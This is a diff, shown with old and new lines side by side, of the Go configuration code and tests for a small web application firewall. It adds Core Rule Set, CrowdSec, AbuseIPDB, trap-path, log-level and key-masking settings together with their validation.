// fetched (SWWAF_REPUTATION_CACHE_TTL), and a query or a check may take
// ReputationTimeout (SWWAF_REPUTATION_TIMEOUT). Neither can be off.
DNSBLZones []string DNSBLZones []string
DNSBLResolver netip.AddrPort DNSBLResolver netip.AddrPort
AbuseIPDBKey string
AbuseIPDBMinScore int64
AbuseIPDBDailyBudget int
ReputationAction string ReputationAction string
ReputationLimitPercent int64 ReputationLimitPercent int64
ReputationCacheTTL time.Duration ReputationCacheTTL time.Duration
ReputationTimeout time.Duration ReputationTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWWAF_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
// none is. CrowdSecKey is the key the engine is asked with
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// BanResponse is the status a refused client is answered with, 403 // BanResponse is the status a refused client is answered with, 403
// or 429, or 0 to close the connection without an answer // or 429, or 0 to close the connection without an answer
// (SWWAF_BAN_RESPONSE). It answers a banned client, a request that // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that
@@ -201,6 +222,9 @@ type Config struct {
// LogRequestHeaders are the request headers whose values the request // LogRequestHeaders are the request headers whose values the request
// log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS). // log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS).
LogRequestHeaders []string LogRequestHeaders []string
// LogLevel is the least severe of the process's own messages that are
// written (SWWAF_LOG_LEVEL). It holds back no request log line.
LogLevel slog.Level
// AdminToken is the bearer token an admin sends for the ban endpoints // AdminToken is the bearer token an admin sends for the ban endpoints
// and /_smallwebwaf/clients/<ip> (SWWAF_ADMIN_TOKEN), "" while it is // and /_smallwebwaf/clients/<ip> (SWWAF_ADMIN_TOKEN), "" while it is
// unset and they are off. // unset and they are off.
@@ -215,6 +239,29 @@ type Config struct {
// unless RulesEnabled is false (SWWAF_RULES_ENABLED). // unless RulesEnabled is false (SWWAF_RULES_ENABLED).
RulesDir string RulesDir string
RulesEnabled bool RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that smallwebwaf may refuse after a rule file or Core Rule Set match
// or for a missing or wrong token; one more breaks a limit
// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent // LogRemoteURL is where every line on stdout is also sent
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. // (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
@@ -278,6 +325,16 @@ type Config struct {
// off. // off.
const off = "off" const off = "off"
// The values of SWWAF_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the // fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWWAF_LOOKUP_DB_PATH names. // lookup database, the file SWWAF_LOOKUP_DB_PATH names.
const fileSource = "file" const fileSource = "file"
@@ -289,8 +346,20 @@ const (
gibibyte = 1 << 30 gibibyte = 1 << 30
ipv4Bits = 32 ipv4Bits = 32
ipv6Bits = 128 ipv6Bits = 128
// minIPv6GroupPrefix is the shortest SWWAF_IPV6_GROUP_PREFIX, the
// netblock a provider is usually given: a shorter one would make one
// client of the customers of several providers.
minIPv6GroupPrefix = 32
// minTokenLength is the fewest characters a token may have. // minTokenLength is the fewest characters a token may have.
minTokenLength = 32 minTokenLength = 32
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
maxParanoiaLevel = 4
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
// keeps for the rules that set it up, which smallwebwaf's own rules
// have too (see internal/waf). Switching one off would undo a change
// that no setting undoes.
firstSetupRuleID = 900000
lastSetupRuleID = 900999
// masked is what the log shows for a token that is set, and in place of // masked is what the log shows for a token that is set, and in place of
// a secret in another setting. // a secret in another setting.
masked = "********" masked = "********"
@@ -329,6 +398,7 @@ var (
errNeedsDBPath = errors.New("it names the file to look clients up in") errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it") errDBPathUnused = errors.New("only file reads it")
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
errOver1G = errors.New("is more than 1G, the most Coraza reads")
errNotDurationAboveZero = errors.New( errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d") "is not a duration above zero, such as 1h or 7d")
errNotNumberAboveZero = errors.New( errNotNumberAboveZero = errors.New(
@@ -338,6 +408,9 @@ var (
"is not the length of an IPv4 netblock, from 0 to 32, such as 24") "is not the length of an IPv4 netblock, from 0 to 32, such as 24")
errNotV6Prefix = errors.New( errNotV6Prefix = errors.New(
"is not the length of an IPv6 netblock, from 0 to 128, such as 48") "is not the length of an IPv6 netblock, from 0 to 128, such as 48")
errNotIPv6GroupPrefix = errors.New(
"is not the length of an IPv6 netblock, from 32 to 128, such as 64")
errNotLogLevel = errors.New("is not debug, info, warn or error")
errNotNamedNetblock = errors.New( errNotNamedNetblock = errors.New(
"is not a name, = and a netblock, such as office=203.0.113.0/24") "is not a name, = and a netblock, such as office=203.0.113.0/24")
errNotAbsolutePath = errors.New( errNotAbsolutePath = errors.New(
@@ -347,6 +420,15 @@ var (
errNotBytesCount = errors.New("is not response, request or both") errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New( errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/") "is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100")
errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of smallwebwaf's own, which cannot be switched off")
errNotBoolean = errors.New("is not true or false") errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New( errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -386,6 +468,13 @@ var (
"names IPv6 clients are asked about by") "names IPv6 clients are asked about by")
errNotResolver = errors.New("is not an IP address with an optional port, " + errNotResolver = errors.New("is not an IP address with an optional port, " +
"such as 192.0.2.53 or [2001:db8::53]:5353") "such as 192.0.2.53 or [2001:db8::53]:5353")
errNotLAPIURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080")
errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
errAnotherList = errors.New(
"is in SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too")
) )
// FromEnvironment reads the settings with lookupEnv, normally // FromEnvironment reads the settings with lookupEnv, normally
@@ -403,6 +492,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
InstanceName: env.instanceName(), InstanceName: env.instanceName(),
Observe: env.observe("SWWAF_MODE", "enforce"), Observe: env.observe("SWWAF_MODE", "enforce"),
TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges),
IPv6GroupPrefix: env.ipv6GroupPrefix("SWWAF_IPV6_GROUP_PREFIX", "64"),
MaxTrackedClients: env.numberNotOff("SWWAF_MAX_TRACKED_CLIENTS", "20000"),
ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"),
ClientRequestHeaderMaxBytes: env.headerSize( ClientRequestHeaderMaxBytes: env.headerSize(
"SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"), "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"),
@@ -440,8 +531,13 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"), BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"),
DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"), DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"),
DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"), DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"),
AbuseIPDBKey: env.secret("SWWAF_ABUSEIPDB_KEY"),
AbuseIPDBMinScore: env.percent("SWWAF_ABUSEIPDB_MIN_SCORE", "75"),
AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"),
ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"), ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"),
ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"), ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWWAF_CROWDSEC_LAPI_URL"),
CrowdSecKey: env.secret("SWWAF_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"),
LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
@@ -454,11 +550,21 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"), "accept,accept-language,accept-encoding,content-type,origin,range"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"), LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"), AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
@@ -493,6 +599,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
env.checkLookupDBPath(cfg) env.checkLookupDBPath(cfg)
env.checkCountriesAndLookups(cfg) env.checkCountriesAndLookups(cfg)
env.checkASNLimitPercentURL(cfg) env.checkASNLimitPercentURL(cfg)
env.checkCrowdSec(cfg)
if env.err != nil { if env.err != nil {
return nil, env.err return nil, env.err
@@ -661,6 +768,15 @@ func (e *environment) size(name, defaultValue string) int64 {
return size return size
} }
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
e.check(name, err)
return limit
}
// headerSize reads the setting that is the largest request line and // headerSize reads the setting that is the largest request line and
// headers. // headers.
func (e *environment) headerSize(name, defaultValue string) int64 { func (e *environment) headerSize(name, defaultValue string) int64 {
@@ -697,6 +813,48 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes return prefixes
} }
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
paths, err := parseTrapPaths(e.value(name, ""))
e.check(name, err)
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
}
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
// level, from 1 to 4.
func (e *environment) paranoiaLevel(name, defaultValue string) int {
value := e.value(name, defaultValue)
level, err := strconv.Atoi(value)
if err != nil || level < 1 || level > maxParanoiaLevel {
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
}
return level
}
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
// rules.
func (e *environment) ruleIDs(name, defaultValue string) []int {
ids, err := parseRuleIDs(e.value(name, defaultValue))
e.check(name, err)
return ids
}
// countries reads a setting that is a list of countries. // countries reads a setting that is a list of countries.
func (e *environment) countries(name, defaultValue string) []string { func (e *environment) countries(name, defaultValue string) []string {
countries, err := parseCountries(e.value(name, defaultValue)) countries, err := parseCountries(e.value(name, defaultValue))
@@ -779,11 +937,20 @@ func (e *environment) action(name, defaultValue string) (string, int64) {
} }
// zones reads the setting that is the list of DNSBL zones. It is empty by // zones reads the setting that is the list of DNSBL zones. It is empty by
// default. // default. The log shows each zone with its key masked, as MaskZoneKey
// masks it.
func (e *environment) zones(name string) []string { func (e *environment) zones(name string) []string {
zones, err := parseZones(e.value(name, "")) value, _ := e.lookup(name)
zones, err := parseZones(value)
e.check(name, err) e.check(name, err)
logged := make([]string, len(zones))
for i, zone := range zones {
logged[i] = MaskZoneKey(zone)
}
e.settings = append(e.settings, slog.String(name, strings.Join(logged, ",")))
return zones return zones
} }
@@ -796,6 +963,26 @@ func (e *environment) resolver(name string) netip.AddrPort {
return resolver return resolver
} }
// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
// engine's local API, such as http://172.17.0.1:8080, and returns the URL
// its decision list is fetched from, that URL with v1/decisions added to
// its path, "" while it is unset or empty.
func (e *environment) crowdSecDecisionsURL(name string) string {
value := e.value(name, "")
if value == "" {
return ""
}
lapi, err := url.Parse(value)
if err != nil || !isHTTPURL(lapi) {
e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
return ""
}
return lapi.JoinPath("v1", "decisions").String()
}
// lookupSource reads the setting that is where clients are looked up: // lookupSource reads the setting that is where clients are looked up:
// geojs, file, or off. // geojs, file, or off.
func (e *environment) lookupSource(name, defaultValue string) string { func (e *environment) lookupSource(name, defaultValue string) string {
@@ -873,6 +1060,26 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) {
} }
} }
// checkCrowdSec refuses SWWAF_CROWDSEC_LAPI_URL without
// SWWAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWWAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWWAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWWAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL):
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList))
}
}
// headerNames reads a setting that is a list of header names, and // headerNames reads a setting that is a list of header names, and
// returns them in lower case. // returns them in lower case.
func (e *environment) headerNames(name, defaultValue string) []string { func (e *environment) headerNames(name, defaultValue string) []string {
@@ -924,6 +1131,37 @@ func (e *environment) v6Prefix(name, defaultValue string) int {
return length return length
} }
// ipv6GroupPrefix reads the setting that is the length of the IPv6
// netblock that is one client, from minIPv6GroupPrefix to 128.
func (e *environment) ipv6GroupPrefix(name, defaultValue string) int {
value := e.value(name, defaultValue)
length, err := strconv.Atoi(value)
if err != nil || length < minIPv6GroupPrefix || length > ipv6Bits {
e.check(name, fmt.Errorf("%q %w", value, errNotIPv6GroupPrefix))
}
return length
}
// logLevel reads the setting that is the least severe of the process's
// own messages that are written: debug, info, warn or error.
func (e *environment) logLevel(name, defaultValue string) slog.Level {
value := e.value(name, defaultValue)
level, known := map[string]slog.Level{
"debug": slog.LevelDebug,
"info": slog.LevelInfo,
"warn": slog.LevelWarn,
"error": slog.LevelError,
}[value]
if !known {
e.check(name, fmt.Errorf("%q %w", value, errNotLogLevel))
}
return level
}
// thresholds reads the four anomaly thresholds whose settings' names // thresholds reads the four anomaly thresholds whose settings' names
// start with prefix: requests and bytes per minute and per hour. Each is // start with prefix: requests and bytes per minute and per hour. Each is
// off by default. // off by default.
@@ -1101,10 +1339,10 @@ func (e *environment) webhookHeaders(name string) http.Header {
} }
// secret reads a setting that is a secret another service gave, such as // secret reads a setting that is a secret another service gave, such as
// an ntfy token, "" while it is unset. It is sent in a header, which // an ntfy token or an AbuseIPDB key, "" while it is unset. It is sent in
// cannot hold a control character, so one in it is an error. The log // a header, which cannot hold a control character, so one in it is an
// shows ******** in place of a value that is not empty, and an error // error. The log shows ******** in place of a value that is not empty, and
// shows none of it. // an error shows none of it.
func (e *environment) secret(name string) string { func (e *environment) secret(name string) string {
value, _ := e.lookup(name) value, _ := e.lookup(name)
@@ -1207,6 +1445,22 @@ func parseHeaderSize(value string) (int64, error) {
return size, nil return size, nil
} }
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 1G, since
// Coraza, which runs the Core Rule Set, refuses to load with more.
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
}
if limit > gibibyte {
return 0, fmt.Errorf("%q %w", value, errOver1G)
}
return limit, nil
}
// splitUnit splits a size into its number and the bytes its suffix // splitUnit splits a size into its number and the bytes its suffix
// stands for. // stands for.
func splitUnit(value string) (string, int64) { func splitUnit(value string) (string, int64) {
@@ -1409,6 +1663,49 @@ func parsePathPrefixes(value string) ([]string, error) {
return prefixes, nil return prefixes, nil
} }
// parseTrapPaths reads a comma-separated list of trap paths. Each is
// matched against a request's path as a path rule is, without the query,
// so a path that does not start with / or holds a ? would never match.
func parseTrapPaths(value string) ([]string, error) {
paths, err := parseList(value)
if err != nil {
return nil, err
}
for _, path := range paths {
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
}
}
return paths, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
func parseRuleIDs(value string) ([]int, error) {
items, err := parseList(value)
if err != nil {
return nil, err
}
ids := make([]int, len(items))
for i, item := range items {
ids[i], err = strconv.Atoi(item)
if err != nil || ids[i] <= 0 {
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
}
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
}
}
return ids, nil
}
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
// the code in common use for Kosovo. golang.org/x/text/language cannot // the code in common use for Kosovo. golang.org/x/text/language cannot
// check them: it also takes withdrawn codes such as su, and reserved ones // check them: it also takes withdrawn codes such as su, and reserved ones
@@ -1761,27 +2058,55 @@ const (
// letters, digits and hyphens, neither starting nor ending with a hyphen, // letters, digits and hyphens, neither starting nor ending with a hyphen,
// and at most maxZoneLength characters in all. Go's resolver takes any // and at most maxZoneLength characters in all. Go's resolver takes any
// other name for one that does not exist, so that the zone would list no // other name for one that does not exist, so that the zone would list no
// client. A zone listed twice is an error. // client. A zone listed twice is an error, whatever the case of its
// letters, which DNS names ignore, and whatever its key, since
// MaskZoneKey shows two keys of one zone alike. An error shows a zone as
// MaskZoneKey does.
func parseZones(value string) ([]string, error) { func parseZones(value string) ([]string, error) {
zones, err := parseList(value) zones, err := parseList(value)
if err != nil { if err != nil {
return nil, err // parseList's error, for an empty item, shows the whole value, keys
// included.
return nil, errEmptyItem
} }
for i, zone := range zones { for i, zone := range zones {
shown := MaskZoneKey(zone)
listedBefore := slices.ContainsFunc(zones[:i], func(earlier string) bool {
return strings.EqualFold(MaskZoneKey(earlier), shown)
})
switch { switch {
case len(zone) > maxZoneLength: case len(zone) > maxZoneLength:
return nil, fmt.Errorf("%q %w", zone, errZoneTooLong) return nil, fmt.Errorf("%q %w", shown, errZoneTooLong)
case !isZone(zone): case !isZone(zone):
return nil, fmt.Errorf("%q %w", zone, errNotZone) return nil, fmt.Errorf("%q %w", shown, errNotZone)
case slices.Contains(zones[:i], zone): case listedBefore:
return nil, fmt.Errorf("%q %w", zone, errListedTwice) return nil, fmt.Errorf("%q %w", shown, errListedTwice)
} }
} }
return zones, nil return zones, nil
} }
// MaskZoneKey returns zone with ******** in place of its key, if it is a
// zone of Spamhaus's keyed query service, a name under dq.spamhaus.net,
// such as <key>.xbl.dq.spamhaus.net, whose first label is the key. Any
// other zone it returns as it is. A zone is shown so wherever it leaves
// the process: in the log, the alerts and the metrics.
func MaskZoneKey(zone string) string {
// DNS names ignore case, and a name may be written with a dot at its
// end.
name := strings.TrimSuffix(strings.ToLower(zone), ".")
if !strings.HasSuffix(name, ".dq.spamhaus.net") {
return zone
}
_, rest, _ := strings.Cut(zone, ".")
return masked + "." + rest
}
// isZone reports whether each label of zone is as parseZones takes it. // isZone reports whether each label of zone is as parseZones takes it.
func isZone(zone string) bool { func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") { for label := range strings.SplitSeq(zone, ".") {
+533 -3
View File
@@ -27,6 +27,8 @@ const (
upstreamURL = "SWWAF_UPSTREAM_URL" upstreamURL = "SWWAF_UPSTREAM_URL"
mode = "SWWAF_MODE" mode = "SWWAF_MODE"
trustedProxies = "SWWAF_TRUSTED_PROXIES" trustedProxies = "SWWAF_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT"
clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES" clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT" clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT"
@@ -63,9 +65,14 @@ const (
blocklistAction = "SWWAF_BLOCKLIST_ACTION" blocklistAction = "SWWAF_BLOCKLIST_ACTION"
dnsblZones = "SWWAF_DNSBL_ZONES" dnsblZones = "SWWAF_DNSBL_ZONES"
dnsblResolver = "SWWAF_DNSBL_RESOLVER" dnsblResolver = "SWWAF_DNSBL_RESOLVER"
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY"
abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE"
abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET"
reputationAction = "SWWAF_REPUTATION_ACTION" reputationAction = "SWWAF_REPUTATION_ACTION"
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL" reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL"
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT" reputationTimeout = "SWWAF_REPUTATION_TIMEOUT"
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
banResponse = "SWWAF_BAN_RESPONSE" banResponse = "SWWAF_BAN_RESPONSE"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
@@ -81,8 +88,17 @@ const (
metricsTopN = "SWWAF_METRICS_TOP_N" metricsTopN = "SWWAF_METRICS_TOP_N"
instanceName = "SWWAF_INSTANCE_NAME" instanceName = "SWWAF_INSTANCE_NAME"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
logLevel = "SWWAF_LOG_LEVEL"
rulesDir = "SWWAF_RULES_DIR" rulesDir = "SWWAF_RULES_DIR"
rulesEnabled = "SWWAF_RULES_ENABLED" rulesEnabled = "SWWAF_RULES_ENABLED"
wafMode = "SWWAF_WAF_MODE"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWWAF_LOG_REMOTE_URL" logRemoteURL = "SWWAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE" logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
@@ -160,6 +176,9 @@ const (
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL. // defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h" const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range" "content-type,origin,range"
@@ -396,6 +415,57 @@ func TestValuesAsSet(t *testing.T) {
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
} }
